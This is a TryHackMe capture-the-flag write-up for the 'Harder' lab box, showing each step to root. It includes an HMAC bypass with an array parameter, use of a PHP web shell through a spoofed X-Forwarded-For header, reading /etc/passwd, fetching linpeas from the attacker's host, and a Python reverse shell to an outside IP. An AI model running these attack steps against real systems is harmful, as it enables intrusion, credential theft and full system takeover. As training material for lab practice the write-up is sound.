Writeup author : Hicham Terkiba (@IOBreaker)

Try Hack Me – Box Description :

The machine is completely inspired by real world pentest findings. Perhaps you will consider them very challenging but without any rabbit holes. Once you have a shell it is very important to know which underlying linux distribution is used and where certain configurations are located.


Sometime you can see a “…..” in place of characters, this is done to avoid ‘flag’ information disclosure

As usual, I started doing some recons on this box

❯ rustscan harder.box --ulimit 5000 | tee -a rustscan.log

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/iobreaker/.config/rustscan/config.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.126.206:2
Open 10.10.126.206:22
Open 10.10.126.206:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -vvv -p 2,22,80 10.10.126.206

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-15 17:02 CEST
Initiating Ping Scan at 17:02
Scanning 10.10.126.206 [2 ports]
Completed Ping Scan at 17:02, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 17:02
Scanning harder.box (10.10.126.206) [3 ports]
Discovered open port 2/tcp on 10.10.126.206
Discovered open port 22/tcp on 10.10.126.206
Discovered open port 80/tcp on 10.10.126.206
Completed Connect Scan at 17:02, 0.08s elapsed (3 total ports)
Nmap scan report for harder.box (10.10.126.206)
Host is up, received syn-ack (0.067s latency).
Scanned at 2020-09-15 17:02:46 CEST for 1s

PORT   STATE SERVICE     REASON
2/tcp  open  compressnet syn-ack
22/tcp open  ssh         syn-ack
80/tcp open  http        syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

We have 3 ports available

  • 2 => COMPRESSNET (compressnet – Management Utility)
  • 22 => SSH
  • 80 => HTTP

Always useful to fire up nikto

❯ nikto -h harder.box | tee -a nikto.log
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.10.126.206
+ Target Hostname:    harder.box
+ Target Port:        80
+ Start Time:         2020-09-15 17:02:41 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ Retrieved x-powered-by header: PHP/7.3.19
+ The anti-clickjacking X-Frame-Options header is not present.
+ Cookie TestCookie created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3233: /phpinfo.php: Contains PHP configuration information
+ OSVDB-3092: /css: This might be interesting...
+ OSVDB-3092: /js: This might be interesting...
+ 6544 items checked: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2020-09-15 17:09:46 (GMT2) (425 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto founded something interesting : phpinfo.php seems to be reachable

Next step, was to see what we can found directly on webpage and if really we can access phpinfo.php

Nothing interesting even within page source code

I tried out some exploit targeting php-fpm and zend-engine but nothing worked

So i decided to analyse header information when calling the webpage

❯ curl -k --verbose http://harder.box

*   Trying 10.10.126.206:80...
* TCP_NODELAY set
* Connected to harder.box (10.10.126.206) port 80 (#0)
> GET / HTTP/1.1
> Host: harder.box
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Tue, 15 Sep 2020 15:35:54 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Encoding
< X-Powered-By: PHP/7.3.19
< Set-Cookie: TestCookie=just+a+test+cookie; expires=Tue, 15-Sep-2020 16:35:54 GMT; Max-Age=3600; path=/; domain=pwd.harder.local; secure
< 
<!DOCTYPE html>
<html lang="en">
<head>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">

  <title>Error</title>

  <!-- Bootstrap core CSS -->
  <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <style>

html {
  position: relative;
  min-height: 100%;
}
body {
  margin-bottom: 60px; /* Margin bottom by footer height */
}
.footer {
  position: absolute;
  bottom: 0;
  width: 100%;
  height: 60px; /* Set the fixed height of the footer here */
  background-color: #f5f5f5;
}
  </style>
</head>

<body>

  <!-- Navigation -->
  <nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
    <div class="container">
      <a class="navbar-brand" href="#">Harder Corp.</a>
      <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <div class="collapse navbar-collapse" id="navbarResponsive">
        <ul class="navbar-nav ml-auto">
          <li class="nav-item active">
            <a class="nav-link" href="#">Error
              <span class="sr-only">(current)</span>
            </a>
          </li>
        </ul>
      </div>
    </div>
  </nav>
  <!-- Page Content -->
  <div class="container">
    <div class="row">
      <div class="col-lg-12 text-center">
        <h1 class="mt-5">404</h1>
        <p class="lead">Nothing here</p>
      </div>
    </div>
  </div>

  <!-- Bootstrap core JavaScript -->
  <script src="vendor/jquery/jquery.slim.min.js"></script>
  <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

</body>
<footer class="footer mt-auto py-3">
  <div class="container">
    <span class="text-muted">This page is powered by php-fpm</span>
  </div>
</footer>
</html>
* Connection #0 to host harder.box left intact

Bingo, we are in front of reverse proxy that analyse used fqdn and forward the request to internal sites (domain), in our case pwd.harder.local

< Set-Cookie: TestCookie=just+a+test+cookie; expires=Tue, 15-Sep-2020 16:35:54 GMT; Max-Age=3600; path=/; domain=pwd.harder.local; secure <

I added pwd.harder.local to my /etc/hosts

I tried one again to go to the box website using this new domain name

Now we are greeted with a login page, but before trying to analyse it, i decided to use gobuster to see if i can find any hidden directories or files

❯ gobuster -w /usr/share/dirb/wordlists/common.txt -u pwd.harder.local | tee -a gobuster.log
2020/09/15 17:43:04 Starting gobuster

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://pwd.harder.local/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirb/wordlists/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
=====================================================
/.git/HEAD (Status: 200)
/index.php (Status: 200)
2020/09/15 17:43:24 Finished
=====================================================
=====================================================

Very interesting, it seems that we have access to a git repository (perhaps the website git branch)

Next step was to download the HEAD file and see if we are right

❯ cat HEAD 
ref: refs/heads/master

Perfect, now the next step is to try to download all repositories files to analyses them on prem

for this, i used git-dumper

❯ python3 git-dumper.py http://pwd.harder.local/.git/HEAD ../harderGitRepo

[-] Testing http://pwd.harder.local/.git/HEAD [200]
[-] Testing http://pwd.harder.local/.git/ [403]
[-] Fetching common files
[-] Fetching http://pwd.harder.local/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pwd.harder.local/.gitignore [200]
[-] Fetching http://pwd.harder.local/.git/description [200]
[-] Fetching http://pwd.harder.local/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/post-commit.sample [404]
[-] Fetching http://pwd.harder.local/.git/hooks/post-update.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/pre-commit.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/post-receive.sample [404]
[-] Fetching http://pwd.harder.local/.git/hooks/commit-msg.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/pre-push.sample [200]
[-] Fetching http://pwd.harder.local/.git/index [200]
[-] Fetching http://pwd.harder.local/.git/hooks/update.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://pwd.harder.local/.git/hooks/pre-receive.sample [200]
[-] Fetching http://pwd.harder.local/.git/objects/info/packs [404]
[-] Fetching http://pwd.harder.local/.git/info/exclude [200]
[-] Finding refs/
[-] Fetching http://pwd.harder.local/.git/FETCH_HEAD [404]
[-] Fetching http://pwd.harder.local/.git/config [200]
[-] Fetching http://pwd.harder.local/.git/info/refs [404]
[-] Fetching http://pwd.harder.local/.git/packed-refs [404]
[-] Fetching http://pwd.harder.local/.git/logs/refs/stash [404]
[-] Fetching http://pwd.harder.local/.git/logs/HEAD [200]
[-] Fetching http://pwd.harder.local/.git/refs/heads/master [200]
[-] Fetching http://pwd.harder.local/.git/logs/refs/heads/master [200]
[-] Fetching http://pwd.harder.local/.git/ORIG_HEAD [404]
[-] Fetching http://pwd.harder.local/.git/HEAD [200]
[-] Fetching http://pwd.harder.local/.git/logs/refs/remotes/origin/HEAD [404]
[-] Fetching http://pwd.harder.local/.git/refs/remotes/origin/HEAD [404]
[-] Fetching http://pwd.harder.local/.git/logs/refs/remotes/origin/master [404]
[-] Fetching http://pwd.harder.local/.git/refs/stash [404]
[-] Fetching http://pwd.harder.local/.git/refs/wip/index/refs/heads/master [404]
[-] Fetching http://pwd.harder.local/.git/refs/remotes/origin/master [404]
[-] Fetching http://pwd.harder.local/.git/refs/wip/wtree/refs/heads/master [404]
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://pwd.harder.local/.git/objects/04/7afea4868d8b4ce8e7d6ca9eec9c82e3fe2161 [200]
[-] Fetching http://pwd.harder.local/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] Fetching http://pwd.harder.local/.git/objects/ad/68cc6e2a786c4e671a6a00d6f7066dc1a49fc3 [200]
[-] Fetching http://pwd.harder.local/.git/objects/22/8694f875f20080e29788d7cc3b626272107462 [200]
[-] Fetching http://pwd.harder.local/.git/objects/6e/1096eae64fede71a78e54999236553b75b3b65 [200]
[-] Fetching http://pwd.harder.local/.git/objects/93/99abe877c92db19e7fc122d2879b470d7d6a58 [200]
[-] Fetching http://pwd.harder.local/.git/objects/66/428e37f6bfaac0b42ce66106bee0a5bdf94d4e [200]
[-] Fetching http://pwd.harder.local/.git/objects/cd/a7930579f48816fac740e2404903995e0ff614 [200]
[-] Fetching http://pwd.harder.local/.git/objects/aa/938abf60c64cdb2d37d699409f77427c1b3826 [200]
[-] Fetching http://pwd.harder.local/.git/objects/c6/66164d58b28325393533478750410d6bbdff53 [200]
[-] Fetching http://pwd.harder.local/.git/objects/e3/361e96c0a9db20541033f254df272deeb9dba7 [200]
[-] Fetching http://pwd.harder.local/.git/objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c [200]
[-] Running git checkout .

Git dumper succeeded to download 3 php files

π harderGitRepo master ❯ cat auth.php 
 
<?php
define('LOGIN_USER', "admin");
define('LOGIN_PASS', "admin");

define('LOGOUT_COMPLETE', "You've been successfully logged out.");
define('INCORRECT_USERNAME_PASSWORD', "Invalid login credentials!");
define('STARTER_GREETING', "Harder Corp. - Password Manager");
define('USERNAME', "Username");
define('PASSWORD', "Password");
define('ENTER_USERNAME', "Enter Username");
define('ENTER_PASSWORD', "Enter Password");
define('REMEMBER_THIS_COMPUTER', "Remember this computer");
define('BUTTON_LOGIN', "Log in →");
.....
.....

Ok, I have a creds (admin/admin) perhaps it can be used to login to pwd.harder.local

Yes, I’m in, but no interesting information can be founded from this page

Next file

❯ cat hmac.php 
  
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

hmac.php file ans be called providing 3 parameters

  • h
  • host
  • n

The n parameter is used by hash_hmac function with an other parameter named secret comming from secret.php

The result is stored in variable named secret (a lot of secrets here)

Finale step is to use this new secret and the passed host parameter to generate a new hash

If the new hash is the same as the one passed as a parameter, we continue, it not we die()

hash_hmac is known to be exploitable is some cases, I decided to do some googling

I founded thsi great article talking about hash_hmac

https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up

According to the article, if we pass an array as parameter n, the h hostn function will give a waring and return false (screenshot from original articles)

So the explotation of this finding will be

  1. Generate a hash that will be used as h parameter in **auth.php
  2. Use an array as the n parameter
  3. use the host name used to generate the hash as the h parameter

I tried to regenerate my hash using an online php interpreter but … for security reasons hash_hmac is disabled by default 🙂

So I used my own php installation to generate the hash

❯ php -r "echo(hash_hmac('sha256','ctf.terkiba.com',false));"
64aa7d0b2b6e56b4f6398549663d2e7766758b562420067a56247ac19221c832

Injection using web browser

Injection using Curl

❯ curl -k --verbose 'http://pwd.harder.local/index.php?n[]=1&host=ctf.terkiba.com&h=64aa7d0b2b6e56b4f6398549663d2e7766758b562420067a56247ac19221c832' --cookie "PHPSESSID=15o5b3lt07046pvp0c7n0su16a"


*   Trying 10.10.126.206:80...
* TCP_NODELAY set
* Connected to pwd.harder.local (10.10.126.206) port 80 (#0)
> GET /index.php?n[]=1&host=ctf.terkiba.com&h=64aa7d0b2b6e56b4f6398549663d2e7766758b562420067a56247ac19221c832 HTTP/1.1
> Host: pwd.harder.local
> User-Agent: curl/7.68.0
> Accept: */*
> Cookie: PHPSESSID=15o5b3lt07046pvp0c7n0su16a
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Tue, 15 Sep 2020 16:52:08 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Encoding
< X-Powered-By: PHP/7.3.19
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
 
  <table style="border: 1px solid;">
     <tr>
       <td style="border: 1px solid;">url</td>
       <td style="border: 1px solid;">username</td>
       <td style="border: 1px solid;">password (cleartext)</td>
     </tr>
     <tr>
       <td style="border: 1px solid;">http://shell.harder.local</td>
       <td style="border: 1px solid;">evs</td>
       <td style="border: 1px solid;">9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm</td>
     </tr>
   </table>
* Connection #0 to host pwd.harder.local left intact

I discovered new domain shell.harder.local and what is seems to be a credentials evs:9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm to access perhaps a new login page

I added this new domain to my /etc/hosts file

And tried to login using previous creds

The web site filter the access by checking source ip,

I used burpsuite to intercept and modify the header of the request to let the target believe that we have the correct source ip

X-Forwarded-For if you friend for this purpose

And I was greeted with what it seems to be a webshell

By reading teh result I founded that this was a webshell called Simple-PHP-Web-Shell


https://github.com/artyuum/Simple-PHP-Web-Shell

Ok, the webshell can be used by passing a cmd param as a POST request

So I tried this using cmd=whoami

POST /index.php HTTP/1.1
Host: shell.harder.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: http://shell.harder.local
DNT: 1
Connection: close
Referer: http://shell.harder.local/index.php?cmd=ls
Cookie: PHPSESSID=d8mlg08eo7rjk02ri1hlnjevr1; login_user=evs; login_pass=2f9bb0db1b60ebadded465d641cc65eb
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.20

cmd=whoami

It worked

I tried using cmd=pwd

I tried to get the list of users using cmd=cat /etc/passwd

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
evs:x:1000:1000:Linux User,,,:/home/evs:/bin/ash
www:x:1001:1001:www:/home/www:/bin/ash

And finally i tried to get the user flag

Bingo, The user flag is mine 🙂

cat /home/evs/user.txt	
7e8.................f76

Now time to do some recons inside the box, I decided to upload linpeas.sh inside the box and run it redirecting the result to a text file

This will speed up the process

POST /index.php?cmd=ls HTTP/1.1
Host: shell.harder.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://shell.harder.local
DNT: 1
Connection: close
Referer: http://shell.harder.local/index.php?cmd=ls
Cookie: PHPSESSID=d8mlg08eo7rjk02ri1hlnjevr1; login_user=evs; login_pass=2f9bb0db1b60ebadded465d641cc65eb
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.20

cmd=wget http://10.9..yy:8000/linpeas.sh

Do not forget to serve the file from your machine

❯ python3 -m http.server 8000 --bind 10.9.80.49
Serving HTTP on 10.9.xx.yy port 8000 (http://10.9.xx.yy:8000/) ...
10.10.175.179 - - [16/Sep/2020 08:32:12] "GET /linpeas.sh HTTP/1.1" 200 -

I executed linpeash.sh and after 2 minutes i started checking the result

POST /index.php?cmd=ls HTTP/1.1
Host: shell.harder.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://shell.harder.local
DNT: 1
Connection: close
Referer: http://shell.harder.local/index.php?cmd=ls
Cookie: PHPSESSID=d8mlg08eo7rjk02ri1hlnjevr1; login_user=evs; login_pass=2f9bb0db1b60ebadded465d641cc65eb
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.20

cmd=sh linpeas.sh | tee -a rest.txt

Because result file contains many lines, we can only display 100 lines by 100 lines, I used sed for that

I founded a strange file when i was above the line 500

POST /index.php?cmd=ls HTTP/1.1
Host: shell.harder.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://shell.harder.local
DNT: 1
Connection: close
Referer: http://shell.harder.local/index.php?cmd=ls
Cookie: PHPSESSID=d8mlg08eo7rjk02ri1hlnjevr1; login_user=evs; login_pass=2f9bb0db1b60ebadded465d641cc65eb
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.20

cmd=sed -n '500,$p' rest.txt

evs-backup.sh file is executed every 15 minutes, I decided to see what this file is supposed to do

Bingo, I got an other creds ( evs : U6j1b…………………….bw14 ), immediately I tested them to see if i can get an ssh connection to the box

❯ ssh evs@shell.harder.local            
Warning: Permanently added the ED25519 host key for IP address '10.10.14.213' to the list of known hosts.
evs@shell.harder.local's password: 
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

harder:~$ 

I started again linpeas.sh in order to get a nice output

Bellow interesting information

Always important to look after files owned by root and readable by us

[+] Readable files belonging to root and readable by me but not world readable
-rwsr-x---    1 root     evs          19960 Jul  6 21:28 /usr/local/bin/execute-crypted
-rwxr-x---    1 root     evs            412 Jul  7 20:58 /usr/local/bin/run-crypted.sh
-rwxr-x---    1 root     evs            641 Jul  7 21:23 /var/backup/root@harder.local.pub

First file execute-crypted is a bin file, I executed it and bellow the result

harder:~$ /usr/local/bin/execute-crypted
[*] Current User: root
[-] This program runs only commands which are encypted for root@harder.local using gpg.
[-] Create a file like this: echo -n whoami > command
[-] Encrypt the file and run the command: execute-crypted command.gpg

Ok execute-crypted needs file named command.gpg as a param (commands.pgp will contain encrypted cli to execute)

harder:~$ cat /usr/local/bin/run-crypted.sh
#!/bin/sh

if [ $# -eq 0 ]
  then
    echo -n "[*] Current User: ";
    whoami;
    echo "[-] This program runs only commands which are encypted for root@harder.local using gpg."
    echo "[-] Create a file like this: echo -n whoami > command"
    echo "[-] Encrypt the file and run the command: execute-crypted command.gpg"
  else
    export GNUPGHOME=/root/.gnupg/
    gpg --decrypt --no-verbose "$1" | ash
fi

run-crypted.sh will run the cli within commands.gpg once decrypted

Last file root@harder.local.pub

harder:~$ cat /var/backup/root@harder.local.pub
-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK
............
FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC
AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu
............
8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O
AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ
............
+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D
=qaa6
-----END PGP PUBLIC KEY BLOCK-----

Seems to be the key to use to encrypt and decrypt the commands file

Ok steps are going to be :

  1. Add/import the root@harder.local.pub key to gpg
  2. Create commands file with our payload
  3. Encrypt commands file using our imported key
  4. Execute execute-crypted on commands.gpg encrypted file

harder:/usr/local/bin$ gpg --list-keys

harder:/usr/local/bin$ gpg --import /var/backup/root@harder.local.pub 
gpg: key C91D6615944F6874: public key "Administrator <root@harder.local>" imported
gpg: Total number processed: 1
gpg:               imported: 1

harder:/usr/local/bin$ gpg --list-keys
/home/evs/.gnupg/pubring.kbx
----------------------------
pub   ed25519 2020-07-07 [SC]
      6F99621E4D64B6AFCE56E864C91D6615944F6874
uid           [ unknown] Administrator <root@harder.local>
sub   cv25519 2020-07-07 [E]

The payload

harder:~$ cat commands 

/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.xx.yy",4499));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/ash","-i"]);'

harder:~$ gpg -e -r "Administrator" commands 
gpg: 6C1C04522C049868: There is no assurance this key belongs to the named user

sub  cv25519/6C1C04522C049868 2020-07-07 Administrator <root@harder.local>
 Primary key fingerprint: 6F99 621E 4D64 B6AF CE56  E864 C91D 6615 944F 6874
      Subkey fingerprint: E51F 4262 1DB8 87CB DC36  11CD 6C1C 0452 2C04 9868

It is NOT certain that the key belongs to the person named
in the user ID.  If you *really* know what you are doing,
you may answer the next question with yes.

Use this key anyway? (y/N) y

My commands.gpg file is ready now

harder:~$ ls -l
total 252
-rw-r--r--    1 evs      evs            227 Sep 16 20:31 commands
-rw-r--r--    1 evs      evs            328 Sep 16 20:33 commands.gpg
-rwxr--r--    1 evs      evs         243613 Sep 16 20:11 linpeas.sh
-rw-r--r--    1 evs      evs             33 Jul  6 22:02 user.txt

The exploit

Bingo, I am root now

harder:/home/evs# whoami
root

harder:/home/evs# pwd
/home/evs

harder:/home/evs# cd /root

harder:/root# ls
root.txt

I got my root flag

harder:/root# cat root.txt
3a7....................a6c

Enjoy 🙂